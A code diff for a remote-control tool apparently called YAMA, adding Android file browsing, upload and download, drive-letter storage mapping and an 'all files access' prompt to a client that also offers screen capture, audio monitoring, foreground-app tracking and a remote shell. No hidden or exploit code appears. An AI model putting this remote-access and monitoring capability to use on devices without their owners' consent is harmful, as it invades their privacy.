client->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(200);
|
||||
client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
handler.reset();
|
||||
client.reset();
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("FileManagerThread exception: %s", e.what());
|
||||
}
|
||||
LOGI(">>> FileManagerThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 历史活动上报
|
||||
// 主连接一次性快照(与 Windows/Linux 一致,服务端 TOKEN_REPORT_ACTIVITY 分支不 CancelIO)。
|
||||
// 采样机每秒问一次 ControlService 的前台应用;这里只取 Dump(),几十微秒的活。
|
||||
@@ -1799,6 +2101,26 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE: {
|
||||
// 文件管理(主控右键「文件管理」/ MCP list_files):每个对话框一条子连接
|
||||
LOGI("cmd: COMMAND_LIST_DRIVE → file manager sub-conn");
|
||||
try {
|
||||
std::thread(FileManagerThread).detach();
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("File manager thread failed: %s", e.what());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SEND_FILE_V2:
|
||||
case COMMAND_FILE_COMPLETE_V2: {
|
||||
// 服务端 → 客户端的 V2 上传(MCP upload_file)。落盘路径经
|
||||
// FileTransferV2::SetPathMapper 注入的盘符映射转成 /storage/...。
|
||||
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID, nullptr);
|
||||
if (result != 0) LOGE("V2 file recv error: %d", result);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE:
|
||||
LOGI("cmd: COMMAND_UPDATE len=%lu", (unsigned long)ulLength);
|
||||
ApplyUpdateApk(szBuffer, ulLength);
|
||||
@@ -2408,9 +2730,42 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
} else {
|
||||
LOGE("ScreenTuning class not found");
|
||||
}
|
||||
// 文件管理:存储根 / 全盘访问状态 + GBK 转换
|
||||
jclass storageCls = env->FindClass("com/yama/client/StorageHelper");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); storageCls = nullptr; }
|
||||
if (storageCls) {
|
||||
g_storageClass = (jclass)env->NewGlobalRef(storageCls);
|
||||
g_rootsMid = env->GetStaticMethodID(g_storageClass, "roots", "()[Ljava/lang/String;");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_rootsMid = nullptr; }
|
||||
if (!g_rootsMid) LOGE("StorageHelper.roots not found");
|
||||
g_allFilesMid = env->GetStaticMethodID(g_storageClass, "allFilesAccess", "()Z");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_allFilesMid = nullptr; }
|
||||
if (!g_allFilesMid) LOGE("StorageHelper.allFilesAccess not found");
|
||||
} else {
|
||||
LOGE("StorageHelper class not found");
|
||||
}
|
||||
jclass textCls = env->FindClass("com/yama/client/NativeText");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); textCls = nullptr; }
|
||||
if (textCls) {
|
||||
g_textClass = (jclass)env->NewGlobalRef(textCls);
|
||||
g_gbkToUtf8Mid = env->GetStaticMethodID(g_textClass, "gbkToUtf8", "([B)[B");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_gbkToUtf8Mid = nullptr; }
|
||||
if (!g_gbkToUtf8Mid) LOGE("NativeText.gbkToUtf8 not found");
|
||||
g_utf8ToGbkMid = env->GetStaticMethodID(g_textClass, "utf8ToGbk", "([B)[B");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_utf8ToGbkMid = nullptr; }
|
||||
if (!g_utf8ToGbkMid) LOGE("NativeText.utf8ToGbk not found");
|
||||
} else {
|
||||
LOGE("NativeText class not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// V2 文件上传(服务端 → 客户端)的落盘路径同样要按盘符映射,
|
||||
// 否则 "I:\\DCIM\\a.jpg" 会被 UnixPath 当成 "/DCIM/a.jpg"。
|
||||
FileTransferV2::SetPathMapper([](const std::string& p) {
|
||||
return AndroidMapWinPathToUnix(p);
|
||||
});
|
||||
|
||||
g_bExit = S_CLIENT_NORMAL;
|
||||
// 历史活动采样:每秒问一次前台应用。Start 幂等(服务重启 nativeStop→nativeInit
|
||||
// 不会重复起线程);采样与连接无关,断线期间照样记,随进程一起结束。
|
||||
|
||||
@@ -2,11 +2,16 @@ package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.app.Activity
|
||||
import android.app.AlertDialog
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.media.projection.MediaProjectionManager
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Environment
|
||||
import android.provider.Settings
|
||||
import android.util.Log
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
|
||||
@@ -17,11 +22,17 @@ class MainActivity : AppCompatActivity() {
|
||||
|
||||
private lateinit var projectionManager: MediaProjectionManager
|
||||
|
||||
// 授权流程只能走一次:从「所有文件访问」系统设置返回时 onResume 会再来一遍
|
||||
private var flowStarted = false
|
||||
private var awaitingStorageSettings = false
|
||||
|
||||
companion object {
|
||||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||||
// POST_NOTIFICATIONS(API 33+)与 RECORD_AUDIO(语音监听)合并成一次请求;
|
||||
// 结果回来后再弹录屏授权,两个系统对话框不会叠在一起。
|
||||
// POST_NOTIFICATIONS(API 33+)、RECORD_AUDIO(语音监听)与 API 29- 的存储权限
|
||||
// 合并成一次请求;结果回来后再弹录屏授权,系统对话框不会叠在一起。
|
||||
const val REQUEST_PERMISSIONS = 1002
|
||||
private const val PREF_NAME = "yama"
|
||||
private const val PREF_ASKED_ALL_FILES = "asked_all_files"
|
||||
}
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
@@ -47,7 +58,66 @@ class MainActivity : AppCompatActivity() {
|
||||
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||||
if (savedInstanceState != null) { finish(); return }
|
||||
|
||||
// Android 11+:文件管理要「所有文件访问」,第一次启动引导一次。
|
||||
// 不开启不影响其它功能,文件管理只能看到应用自己的目录(客户端会回提示)。
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
|
||||
!Environment.isExternalStorageManager() && !hasAskedAllFiles()) {
|
||||
AlertDialog.Builder(this)
|
||||
.setTitle("文件管理权限")
|
||||
.setMessage(
|
||||
"为了让主控浏览和传输本机文件,需要开启「所有文件访问」。\n\n" +
|
||||
"请到 设置 → 应用 → YAMA → 所有文件访问 中开启。\n\n" +
|
||||
"不开启也能正常使用远程控制等其它功能,只是文件管理只能看到应用自己的目录。")
|
||||
.setPositiveButton("去开启") { _, _ ->
|
||||
markAskedAllFiles()
|
||||
awaitingStorageSettings = true
|
||||
val intent = Intent(
|
||||
Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
|
||||
Uri.parse("package:$packageName"))
|
||||
val opened = runCatching { startActivity(intent) }.isSuccess ||
|
||||
runCatching {
|
||||
startActivity(Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION))
|
||||
}.isSuccess
|
||||
if (!opened) {
|
||||
// 两个设置入口都打不开(极简 ROM):别把启动流程卡住
|
||||
awaitingStorageSettings = false
|
||||
continueStart()
|
||||
}
|
||||
}
|
||||
.setNegativeButton("以后再说") { _, _ ->
|
||||
markAskedAllFiles()
|
||||
continueStart()
|
||||
}
|
||||
.setCancelable(false)
|
||||
.show()
|
||||
return
|
||||
}
|
||||
continueStart()
|
||||
}
|
||||
|
||||
override fun onResume() {
|
||||
super.onResume()
|
||||
// 从「所有文件访问」设置页返回:继续未完成的启动流程
|
||||
if (awaitingStorageSettings) {
|
||||
awaitingStorageSettings = false
|
||||
continueStart()
|
||||
}
|
||||
}
|
||||
|
||||
private fun continueStart() {
|
||||
if (flowStarted) return
|
||||
flowStarted = true
|
||||
|
||||
val missing = ArrayList<String>()
|
||||
// Android 10 及以下走运行时存储权限(Android 10 另靠 requestLegacyExternalStorage)
|
||||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q &&
|
||||
checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
missing.add(Manifest.permission.READ_EXTERNAL_STORAGE)
|
||||
}
|
||||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P &&
|
||||
checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
missing.add(Manifest.permission.WRITE_EXTERNAL_STORAGE)
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU &&
|
||||
checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
|
||||
// 升级完成/待确认的提示靠通知兜底,拒绝了也不影响主流程
|
||||
@@ -65,6 +135,15 @@ class MainActivity : AppCompatActivity() {
|
||||
startProjection()
|
||||
}
|
||||
|
||||
private fun hasAskedAllFiles(): Boolean =
|
||||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
.getBoolean(PREF_ASKED_ALL_FILES, false)
|
||||
|
||||
private fun markAskedAllFiles() {
|
||||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
.edit().putBoolean(PREF_ASKED_ALL_FILES, true).apply()
|
||||
}
|
||||
|
||||
override fun onRequestPermissionsResult(
|
||||
requestCode: Int, permissions: Array<out String>, grantResults: IntArray) {
|
||||
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
package com.yama.client
|
||||
|
||||
import java.nio.ByteBuffer
|
||||
import java.nio.charset.Charset
|
||||
import java.nio.charset.CodingErrorAction
|
||||
|
||||
/**
|
||||
* 文件管理通道的 GBK ↔ UTF-8 转换。
|
||||
*
|
||||
* 线上协议(与服务端 FileManagerDlg / MCP 的文件通道一致)是 GBK/ANSI:服务端按
|
||||
* CP936 下发路径、按 CP936 解析客户端上报的文件名。Android 的文件系统路径是
|
||||
* UTF-8,所以两端都要转一次。
|
||||
*
|
||||
* 为什么不在 native 用 iconv:NDK 的 iconv 从 API 28 才提供,客户端 minSdk 是 21,
|
||||
* 低版本设备上链接/加载会失败。
|
||||
*
|
||||
* 严格模式:GBK 转换失败(例如路径里含 GBK 表示不了的字符)时**原样返回输入**,
|
||||
* 与 Linux/macOS 客户端的 iconvConvert 行为一致;服务端对这类路径本来就会直传
|
||||
* UTF-8 字节(见 McpServer.cpp 里 list_files 的注释),两边才能对上。
|
||||
*/
|
||||
object NativeText {
|
||||
private val GBK: Charset = Charset.forName("GBK")
|
||||
|
||||
@JvmStatic
|
||||
fun gbkToUtf8(bytes: ByteArray): ByteArray {
|
||||
if (bytes.isEmpty()) return bytes
|
||||
return try {
|
||||
val dec = GBK.newDecoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val text = dec.decode(ByteBuffer.wrap(bytes)).toString()
|
||||
text.toByteArray(Charsets.UTF_8)
|
||||
} catch (e: Exception) {
|
||||
bytes
|
||||
}
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
fun utf8ToGbk(bytes: ByteArray): ByteArray {
|
||||
if (bytes.isEmpty()) return bytes
|
||||
return try {
|
||||
val dec = Charsets.UTF_8.newDecoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val text = dec.decode(ByteBuffer.wrap(bytes)).toString()
|
||||
val enc = GBK.newEncoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val buf = enc.encode(java.nio.CharBuffer.wrap(text))
|
||||
val out = ByteArray(buf.remaining())
|
||||
buf.get(out)
|
||||
out
|
||||
} catch (e: Exception) {
|
||||
bytes
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.os.Build
|
||||
import android.os.Environment
|
||||
import android.os.storage.StorageManager
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
/**
|
||||
* 文件管理(COMMAND_LIST_DRIVE)的存储根枚举。
|
||||
*
|
||||
* 服务端文件管理器按 Windows 的盘符模型显示远程目录,所以这里把 Android 的存储
|
||||
* 挂成盘符:
|
||||
* P: 应用私有目录(永远可读,未授予「所有文件访问」时是唯一可用的根)
|
||||
* I: 内部存储(/storage/emulated/0)
|
||||
* S:/T:/… SD 卡、U 盘等可移动存储
|
||||
*
|
||||
* 权限:Android 11+ 需要 MANAGE_EXTERNAL_STORAGE(设置 → 应用 → YAMA → 所有文件访问);
|
||||
* 未授予时 A: 仍可用,I:/S: 是否出现取决于系统是否允许列目录(scoped storage 下
|
||||
* 大多能列出名字但读不了别人的文件),因此主控侧可能看到操作失败——这是权限问题的
|
||||
* 预期表现,native 侧会在打开文件管理器时发一条提示。
|
||||
*/
|
||||
object StorageHelper {
|
||||
private const val TAG = "YAMA_FS"
|
||||
|
||||
@JvmStatic
|
||||
fun roots(): Array<String> {
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return emptyArray()
|
||||
val out = ArrayList<String>()
|
||||
|
||||
// 应用私有目录:filesDir 对自身永远可读,作为降级根。
|
||||
// 用 P:(Private)而不是 A::服务端对话框把 A/B 固定按软驱图标显示。
|
||||
runCatching {
|
||||
val appDir = ctx.filesDir?.absolutePath
|
||||
if (!appDir.isNullOrEmpty()) add(out, 'P', appDir, "App data", false)
|
||||
}
|
||||
|
||||
@Suppress("DEPRECATION")
|
||||
val internal = runCatching { Environment.getExternalStorageDirectory()?.absolutePath }
|
||||
.getOrNull()
|
||||
if (!internal.isNullOrEmpty() && canList(internal))
|
||||
add(out, 'I', internal, "Internal storage", false)
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
val sm = ctx.getSystemService(Context.STORAGE_SERVICE) as? StorageManager
|
||||
var letter = 'S'
|
||||
runCatching { sm?.storageVolumes }.getOrNull()?.forEach { vol ->
|
||||
if (vol.isPrimary) return@forEach
|
||||
val dir = runCatching { vol.directory?.absolutePath }.getOrNull()
|
||||
if (!dir.isNullOrEmpty() && canList(dir) && letter <= 'Z') {
|
||||
add(out, letter, dir, "SD card", true)
|
||||
letter++
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// API 21-29 没有 StorageVolume.getDirectory(),直接扫 /storage
|
||||
var letter = 'S'
|
||||
runCatching { File("/storage").listFiles() }.getOrNull()
|
||||
?.sortedBy { it.name }
|
||||
?.forEach { f ->
|
||||
val name = f.name
|
||||
if (name == "emulated" || name == "self") return@forEach
|
||||
if (f.isDirectory && canList(f.absolutePath) && letter <= 'Z') {
|
||||
add(out, letter, f.absolutePath, "SD card", true)
|
||||
letter++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Log.i(TAG, "roots=" + out.joinToString("; "))
|
||||
return out.toTypedArray()
|
||||
}
|
||||
|
||||
/** 是否具备整机文件访问能力(Android 11+ 的「所有文件访问」) */
|
||||
@JvmStatic
|
||||
fun allFilesAccess(): Boolean {
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return false
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
return runCatching { Environment.isExternalStorageManager() }.getOrDefault(false)
|
||||
}
|
||||
return ctx.checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) ==
|
||||
PackageManager.PERMISSION_GRANTED
|
||||
}
|
||||
|
||||
private fun add(out: MutableList<String>, letter: Char, path: String,
|
||||
label: String, removable: Boolean) {
|
||||
// 去尾斜杠;服务端拼路径时统一自己加分隔符
|
||||
val clean = if (path.length > 1 && path.endsWith('/')) path.dropLast(1) else path
|
||||
out.add("$letter|$clean|$label|${if (removable) 1 else 0}")
|
||||
}
|
||||
|
||||
private fun canList(path: String): Boolean =
|
||||
runCatching { File(path).list() != null }.getOrDefault(false)
|
||||
}
|
||||
+35
-4
@@ -32,7 +32,15 @@
|
||||
#include <sys/mount.h> // macOS: statfs for filesystem type
|
||||
#endif
|
||||
|
||||
#ifdef __ANDROID__
|
||||
// Android NDK 的 iconv 从 API 28 才提供,而 Android 客户端的 minSdk 是 21。
|
||||
// GBK 转换改走 Java 的 Charset(JNI),实现在 android/app/src/main/cpp/main.cpp。
|
||||
// 失败时与原 iconv 版本一致:原样返回输入(服务端对 GBK 表示不了的字符会直传 UTF-8)。
|
||||
std::string AndroidGbkToUtf8(const std::string& input);
|
||||
std::string AndroidUtf8ToGbk(const std::string& input);
|
||||
#else
|
||||
#include <iconv.h> // Character encoding conversion (GBK <-> UTF-8)
|
||||
#endif
|
||||
|
||||
// FileTransferV2 is in the same directory (common/)
|
||||
#include "FileTransferV2.h"
|
||||
@@ -47,6 +55,12 @@ class FileManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
FileManager(IOCPClient* client)
|
||||
: FileManager(client, false) {}
|
||||
|
||||
// deferredStart=true:不在构造里发 TOKEN_DRIVE_LIST,由子类准备好平台数据后
|
||||
// 自己调用 SendDriveList()。Android 用它——存储根要先问 Java 要,而构造期
|
||||
// 的虚函数不会分派到子类,直接发出去的是 Linux 的 "/" 根。
|
||||
FileManager(IOCPClient* client, bool deferredStart)
|
||||
: m_client(client),
|
||||
m_nTransferMode(TRANSFER_MODE_NORMAL),
|
||||
m_nCurrentFileLength(0),
|
||||
@@ -54,7 +68,7 @@ public:
|
||||
{
|
||||
memset(m_strCurrentFileName, 0, sizeof(m_strCurrentFileName));
|
||||
memset(m_strCurrentUploadFile, 0, sizeof(m_strCurrentUploadFile));
|
||||
SendDriveList();
|
||||
if (!deferredStart) SendDriveList();
|
||||
}
|
||||
|
||||
~FileManager()
|
||||
@@ -148,6 +162,7 @@ private:
|
||||
m_client->Send2Server((char*)&token, 1);
|
||||
}
|
||||
|
||||
#ifndef __ANDROID__
|
||||
// ---- iconv encoding conversion ----
|
||||
static std::string iconvConvert(const std::string& input, const char* from, const char* to)
|
||||
{
|
||||
@@ -169,17 +184,28 @@ private:
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
}
|
||||
#endif
|
||||
|
||||
protected:
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
return AndroidGbkToUtf8(gbk);
|
||||
#else
|
||||
return iconvConvert(gbk, "GBK", "UTF-8");
|
||||
#endif
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
return AndroidUtf8ToGbk(utf8);
|
||||
#else
|
||||
return iconvConvert(utf8, "UTF-8", "GBK");
|
||||
#endif
|
||||
}
|
||||
|
||||
protected:
|
||||
// ---- Windows path -> Linux path ----
|
||||
// Examples:
|
||||
// /:\home\user\file.txt -> /home/user/file.txt
|
||||
@@ -188,7 +214,8 @@ private:
|
||||
// /: -> /
|
||||
// C:\Users\file.txt -> /Users/file.txt
|
||||
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
|
||||
static std::string winPathToLinux(const char* winPath)
|
||||
// Android 覆盖它,把驱动字母映射到 /storage/... 下的真实路径。
|
||||
virtual std::string winPathToLinux(const char* winPath)
|
||||
{
|
||||
// 展开 %USERPROFILE% 等变量并把路径风格转成 Unix(见 UnixPath.h)
|
||||
return UnixPath::ToUnixPath(winPath ? winPath : "");
|
||||
@@ -196,7 +223,7 @@ private:
|
||||
|
||||
// ---- Linux path -> Windows path (for sending to server) ----
|
||||
// Converts /home/user/file.txt to /:\home\user\file.txt
|
||||
static std::string linuxPathToWin(const std::string& linuxPath)
|
||||
virtual std::string linuxPathToWin(const std::string& linuxPath)
|
||||
{
|
||||
// Start with drive letter representation /: for Linux root
|
||||
// Linux path /home/user/file.txt should become /:\home\user\file.txt
|
||||
@@ -290,8 +317,12 @@ private:
|
||||
return true;
|
||||
}
|
||||
|
||||
// 子类(Android)覆盖 SendDriveList 时要用到连接对象;m_client 是私有的。
|
||||
IOCPClient* ClientObject() const { return m_client; }
|
||||
|
||||
// ---- Send drive list (Linux: root partition /) ----
|
||||
void SendDriveList()
|
||||
// Android 覆盖它:把内部存储 / SD 卡 / 应用目录当成带盘符的「驱动器」。
|
||||
virtual void SendDriveList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
|
||||
+37
-1
@@ -24,7 +24,9 @@
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <dirent.h>
|
||||
#ifndef __ANDROID__
|
||||
#include <iconv.h>
|
||||
#endif
|
||||
#include <cstring>
|
||||
#include <cctype>
|
||||
#include <cerrno>
|
||||
@@ -35,8 +37,26 @@
|
||||
#include <set>
|
||||
#include <mutex>
|
||||
#include <fstream>
|
||||
#include <functional>
|
||||
#include <thread>
|
||||
|
||||
namespace filetransferv2_path {
|
||||
// 路径映射钩子:Android 的存储是盘符模型(I:\...),不能套 UnixPath 的 "/:" 语义。
|
||||
// 用 inline 函数的局部 static,保证多个 TU 共享同一个实例(C++17)。
|
||||
inline std::function<std::string(const std::string&)>& Mapper()
|
||||
{
|
||||
static std::function<std::string(const std::string&)> mapper;
|
||||
return mapper;
|
||||
}
|
||||
} // namespace filetransferv2_path
|
||||
|
||||
#ifdef __ANDROID__
|
||||
// Android NDK 的 iconv 从 API 28 才提供(客户端 minSdk 21),GBK 转换走 Java Charset。
|
||||
// 实现在 android/app/src/main/cpp/main.cpp;失败时原样返回输入(与 iconv 版一致)。
|
||||
std::string AndroidGbkToUtf8(const std::string& input);
|
||||
std::string AndroidUtf8ToGbk(const std::string& input);
|
||||
#endif
|
||||
|
||||
class FileTransferV2
|
||||
{
|
||||
public:
|
||||
@@ -56,6 +76,9 @@ public:
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
if (gbk.empty()) return gbk;
|
||||
#ifdef __ANDROID__
|
||||
return AndroidGbkToUtf8(gbk);
|
||||
#else
|
||||
iconv_t cd = iconv_open("UTF-8", "GBK");
|
||||
if (cd == (iconv_t)-1) return gbk;
|
||||
|
||||
@@ -72,11 +95,15 @@ public:
|
||||
if (ret == (size_t)-1) return gbk;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
#endif
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
if (utf8.empty()) return utf8;
|
||||
#ifdef __ANDROID__
|
||||
return AndroidUtf8ToGbk(utf8);
|
||||
#else
|
||||
iconv_t cd = iconv_open("GBK", "UTF-8");
|
||||
if (cd == (iconv_t)-1) return utf8;
|
||||
|
||||
@@ -93,6 +120,7 @@ public:
|
||||
if (ret == (size_t)-1) return utf8;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 递归创建目录
|
||||
@@ -430,11 +458,19 @@ public:
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
// 平台路径映射钩子:由客户端启动时注入(Android 用盘符映射;其它平台不设,
|
||||
// 保持 UnixPath 的原有语义)。只在单线程初始化阶段调用,不要求线程安全。
|
||||
static void SetPathMapper(std::function<std::string(const std::string&)> mapper)
|
||||
{
|
||||
filetransferv2_path::Mapper() = std::move(mapper);
|
||||
}
|
||||
|
||||
// Windows 路径转 Linux 路径。服务端对话框的快捷按钮(桌面/下载/用户主页)下发的是
|
||||
// %USERPROFILE%\Desktop\ 这类 Windows 变量路径,必须先展开(见 UnixPath.h)。
|
||||
static std::string WinPathToLinux(const std::string& winPath)
|
||||
{
|
||||
return UnixPath::ToUnixPath(winPath);
|
||||
auto& mapper = filetransferv2_path::Mapper();
|
||||
return mapper ? mapper(winPath) : UnixPath::ToUnixPath(winPath);
|
||||
}
|
||||
|
||||
// errno -> Win32 错误码:服务端 TOKEN_DOWNLOAD_ERROR 按 Win32 码分类
|
||||
|
||||
@@ -386,9 +386,11 @@ const char* kServerInstructions =
|
||||
u8"远程交谈(chat_open / chat_send / chat_wait / chat_close,聊天界面在 App 内,"
|
||||
u8"需要声明 CLIENT_CAP_REMOTE_CHAT 的新版 APK)、远程终端(exec_command / terminal_open / "
|
||||
u8"terminal_exec / terminal_close,PTY 里跑 /system/bin/sh(mksh),命令由 toybox 提供,"
|
||||
u8"需要声明 CLIENT_CAP_TERMINAL 的新版 APK,老 APK 返回 -32005),以及 "
|
||||
u8"host_set_remark / host_set_watch_level 这两个只改服务端本地数据的工具。其余一律不支持"
|
||||
u8"(客户端未实现 SYSTEM 等命令)。\n"
|
||||
u8"需要声明 CLIENT_CAP_TERMINAL 的新版 APK,老 APK 返回 -32005)、文件管理"
|
||||
u8"(list_files / download_file / upload_file / read_file;路径是盘符形式 I:\\、S:\\、P:\\,"
|
||||
u8"I 是内部存储、S 起是 SD 卡/U 盘、P 是应用私有目录;未授予「所有文件访问」时"
|
||||
u8"I/S 下的文件可能读不了,只能正常使用 P:\\),以及 "
|
||||
u8"host_set_remark / host_set_watch_level 这两个只改服务端本地数据的工具。其余一律不支持。\n"
|
||||
u8"copy_files_c2c 是唯一有方向性的工具:源端 src_id 必须是 win,目标端 dst_id 可以是 "
|
||||
u8"win / lnx / mac。Linux 和 macOS 只能当接收方,不能当发送方(反向不支持)。\n"
|
||||
u8"这些不支持的组合多数会立刻返回 -32005;少数要等子连接才暴露的(老客户端不认命令等)"
|
||||
@@ -3167,7 +3169,7 @@ std::string BuildListProcesses(const Json::Value& id, const Json::Value& args, C
|
||||
return BuildError(id, -32001, "Timeout waiting for process list");
|
||||
|
||||
// 进程名/路径编码按 clientType 判定:Windows 走 A 接口(QueryFullProcessImageNameA 等)
|
||||
// =客户端 ANSI(GBK/936),不随 CLIENT_CAP_UTF8 转 UTF-8;LNX/MAC 的 /proc 天然 UTF-8。
|
||||
// =客户端 ANSI(GBK/936),不随 CLIENT_CAP_UTF8 转 UTF-8;LNX/MAC/APK 的 /proc 天然 UTF-8。
|
||||
// 不能用 GetClientEncoding——它按能力位返回 CP_UTF8,会误解 Windows 客户端的 GBK 进程名。
|
||||
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
|
||||
@@ -3687,7 +3689,9 @@ std::string BuildListFiles(const Json::Value& id, const Json::Value& args, CMy20
|
||||
// (客户端 utf8ToGbk 遇到 GBK 无法表示的字符会原样透传 UTF-8),见 DecodeListingName。
|
||||
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
const bool posixFs = (clientType == "LNX" || clientType == "MAC");
|
||||
const UINT nameCp = posixFs ? CP_UTF8 : 936;
|
||||
// APK 与 POSIX 客户端一样:能转 GBK 的名字发 GBK,转不了的原样发 UTF-8,
|
||||
// 所以这里也要走 DecodeListingName 的「先试 GBK 再当 UTF-8」分支。
|
||||
const UINT nameCp = (posixFs || clientType == "APK") ? CP_UTF8 : 936;
|
||||
|
||||
// Windows 上 "."、"/"、"\\" 是「列盘」的历史写法;POSIX 上 "/" 是真实目录
|
||||
// (根目录),不能当列盘。列盘统一用空 path 下发给 OnDriveList。
|
||||
@@ -9878,7 +9882,7 @@ std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy
|
||||
if (!mcp.WaitPending(devId, data, mcp.ToolTimeoutMs()))
|
||||
return BuildError(id, -32001, "Timeout waiting for process list (dry run)");
|
||||
|
||||
UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
|
||||
UINT cp = (clientType == "LNX" || clientType == "MAC" || clientType == "APK") ? CP_UTF8 : 936;
|
||||
Json::Value procs = ParseProcessList(data, cp);
|
||||
|
||||
Json::Value targets(Json::arrayValue);
|
||||
@@ -9939,7 +9943,7 @@ std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy
|
||||
if (!mcp.WaitPendingWrite(devId, data, mcp.ToolTimeoutMs()))
|
||||
return BuildError(id, -32001, "Timeout waiting for process list after kill");
|
||||
|
||||
UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
|
||||
UINT cp = (clientType == "LNX" || clientType == "MAC" || clientType == "APK") ? CP_UTF8 : 936;
|
||||
Json::Value procs = ParseProcessList(data, cp);
|
||||
|
||||
Json::Value remaining(Json::arrayValue);
|
||||
@@ -12006,12 +12010,15 @@ const ToolPlatform kToolPlatforms[] = {
|
||||
{ "build_client", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
// ---- win+lnx+mac ---- SYSTEM / LIST_DRIVE / QUERY_LOG / V2 文件传输
|
||||
{ "list_processes", kPlatWin|kPlatLnx|kPlatMac },
|
||||
{ "list_files", kPlatWin|kPlatLnx|kPlatMac },
|
||||
// Android 新版实现了 COMMAND_LIST_DRIVE → FileManager 子连接(盘符 I:/S:/P:)。
|
||||
// 老 APK 没有这个实现,却也声明了 CLIENT_CAP_V2,无法按能力位提前区分;
|
||||
// 老包的表现是超时(-32001),升级 APK 即可。
|
||||
